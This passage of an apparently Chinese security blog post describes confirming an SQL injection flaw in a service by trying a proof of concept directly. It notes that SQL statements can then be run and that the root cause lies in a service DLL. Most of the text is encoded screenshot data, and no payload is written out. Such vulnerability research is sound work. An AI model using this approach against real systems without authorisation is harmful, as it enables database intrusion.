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 truncated
|
||||
其实到这里可以选择跟进或者是不跟进,因为如果跟进的话,还需要分析另外的一个dll。一般情况下我都是会直接试一下poc,如果能够运行成功,那么则不跟进,反之则跟进函数看看是否存在一些过滤。像这种看样子是没过滤的,可以尝试直接试一下是否存在注入。</p>
|
||||
<p blockindex=21><img src="data:image/png;base64,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 truncated
|
||||
<p blockindex=22><img src="data:image/png;base64,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 truncated
|
||||
<p blockindex=23>可以看到确实存在sql注入,能够直接执行sql语句。</p>
|
||||
<h4 blockindex=24>后话:</h4>
|
||||
<p blockindex=25>如果想跟进看看具体原理就是找到这个Service的dll。</p>
|
||||
<p blockindex=26><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA4YAAAA4CAYAAAChW+aVAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAgAElEQVR4nOy9ebRkx13n+YmIe3N9mS/fvtdeqirVZm2WrcXINhhsDM0A7QbcZ6DpHsDdDcMMf8w5M4dpznS7T9MzQ+Ohp5nhNOAGDIyxgTGWLduSXNpKKlWpVKpSSap9e1Vvf/lyz7tExPxx783MV1Wy5EWLmfqdk5Wv8t4bN+IXEb/4fX+/X/xCTG3cYAEEXRKAsHwHJDt/WWtJp9NMTk4yODjIoUOHcF33Oyk0JvNt3i9Y1yoLylH0F/uZmp7i3LlzNBoNhBCvWwLY+PPWUjabxXVdGo0G1trO5+0iAUhrUVikBYnt9L8VYIQgtBaDiLghBEJEf1trsYAQEhv9AUJgTW9/WaSMfsdaEGBN/G0tAsG36oXXq7MArDUIaxHJOywYa5Eyqo/G3tDHybPGWGRSX6J2GBGNNHHd3cLKqE+sRUiQUqCNRSqF1iZqV+c50fNOu+7bWouQMnpWSmzMc7FunEU8sdYi4/dbIbBc3w4Ldv1IF4AWAoNA2qj/fAFaJOXauH9F1BXWomL+WxvxSkoFVpJKOSBCshkXYaFY7EcA2VweK6I+pyM9BMbaaGz01FAIwfLyCkLA0uJi8itGWIywCDwkfsz95CmJsA4Q1QMUFoUVBouOy1X0F/IIa5mYnIyejwet73mAZXlpAQm06o2Iqwa0NBhhCAgRQuKYNNYItAKBwbXJHEi4RTwuBCb+jmdMt1uFgHgECUTE26RvZDxGEQhk1I6E33FfJfMPDCKWcwKBtLbTt8IKjJBYBCbp9J5xZYiui3XjISoTDMZolJRIwBjTGXvGWrSCUFjSWuBaQUOBLyFtDK7VSHyUsEgrMEYicCAemQaJQQISY8EKHyF1/G4J1ol5JRBoBCHdmRI9J6yI+RO311qsiOauBqxUWAygEWgQBmFl9Im5IEnGYvTs9ZLbWosUKuobYdFWI2QseTpzN+mZaL5LZMTB5LoQUYeKqD2mI+MsVpjOGIjGoUUjMUJ2ynZNNKJCFfWyNBHnsF0JKLBIa7HCxsMqlhud2iU9G82fWPpGH+sCLlqEaKGjeW1F9A6d9Bg9cy2We6LLrUj+xTIhvk3IiLd2nRyN2qCFQFmBY6PnojkagtDxqJQIm4r7ynT6N3m7QiOticsWGKuxFqR0MAi0NZ31hp5aY03PetOdCRE3on7rHQc2lusSwFiEiOWvSaR9NA6J+0QBLgZlNaEQBKI774ygh4NdmY9VvNvoW6+r4g3vuv5KIlG6kvEW3aJb9PeNnLf6BV7bo9lsvQEAe2tIQKT0J2DEWowxpFIppJRv9PjbRlrrtx0MXk9WyFixj3QR2bPYGuisEKLn986C3aM4JWoM1/V3pLOZaOGOAUtS4HdmhEgeTxSDRCmjo3RbwetDTisiUJg0uAccdhWMXiOJIbldCIGOldfQWKyQSBGB6fWjqrt4dhSJmF8Rf8262omeZ2L1dL3+HzMqUf5v4AURgIiAJJ17Y7yMIfm2HX1KCIGMlddCPo8QgmKxH4B0OgVY0ik34pE1SSPoQFnR07qeSnWhkqVWW4sNARFXrY1baAWSrgLefVYirUTa7nussFhkpJQICUIwNDKIRWOEXsdlNx0ZoMYnJhEImjEwXF1cRkqNF7YRwiGC3dH4S8CgYyJFWsSNs4hIWbYRuLY9gMbGIITevrLdNiASJVjGV2VPz5rrVCsbq9qmR9nsUlcpX/+ehGQPiEgu95YRybsIrEohOuALIdGAJ0BJgzQ6Br8GSYhER/1gHTQKpETbpO4RryIAa5DCRlDOBjFASGZi1O4IPIVRzayMQYNAWtnhn4gNU8ZarDRoIQhExE9lBSkjyRiNLyVBXE+BjcsRICJgoa83BgnR4WtiyIrZ0eVpzDlpI+OJjNspY/4nZhUTG8NsjxEkApzJ353ZQQILk/6K5qDs9FHST71Ao7cP1yvvoiM4hUjkaFSCsInkScZP950WEWHZGDiLzjM9cjy+1xfReHeNRZGM+a7ASaBzIjO7UssiCAEdgVpAxn3SHevdlorYCBJ9dGQAEgIlTAzoIlApRTJn1nMlEfRCrp8tydxIvk2nDT38jseGsab7aCxfhYxnvbUoDClrsFaghYxnPLEckp0HI4NHArjfTj2nd+R0KTHwrQOtNwNxiQB/vSrbZNT1rEydtbb311t0i27R3yf6roFhIoRuJl2klLS9Nnat/I4AscRqn5AQglCHXLt6Dc/zeHuF+OtTGIaxh+tG79bbQz0KOF2LO6y3uNLzG9AF3GL9lcSQ20u9HqH1IOA7pWQZ7lWp4trGioWNQYi4QbmISHaeEmhjsKpraY4Uenud8h8rgLGH0gqBTjx5VuBicU2krGnBuhaLuNz1yl58teOe7W0dCGE79U58E9L23rG+LGEj670RtgPmhYWMgVBAU0XfSkiEMTh0QWa3v22nrzpKa+y5IgaQkZc4UT6646YLByNlwsZAMlHAbLei3R4TDtqK66zwsX9NSrCmA9wg8gpbIiOKsV04FT0oukphp4d7+RzxSFjV8VpYY1BSoY3GAEFSlJQdJZAez0yibkVAp6cfOl6vHrUpemHMocRXK+O/beS5lBZhImVexa3pKHNxx3R/uRl8iK8kHkdxI+jovT8yliQ9HIFVx0LWgLRRm2XsASIGOAYfKSL/Tsyc+H09HqcOKFUR320vDEiMArbT/sSz2h0/3S7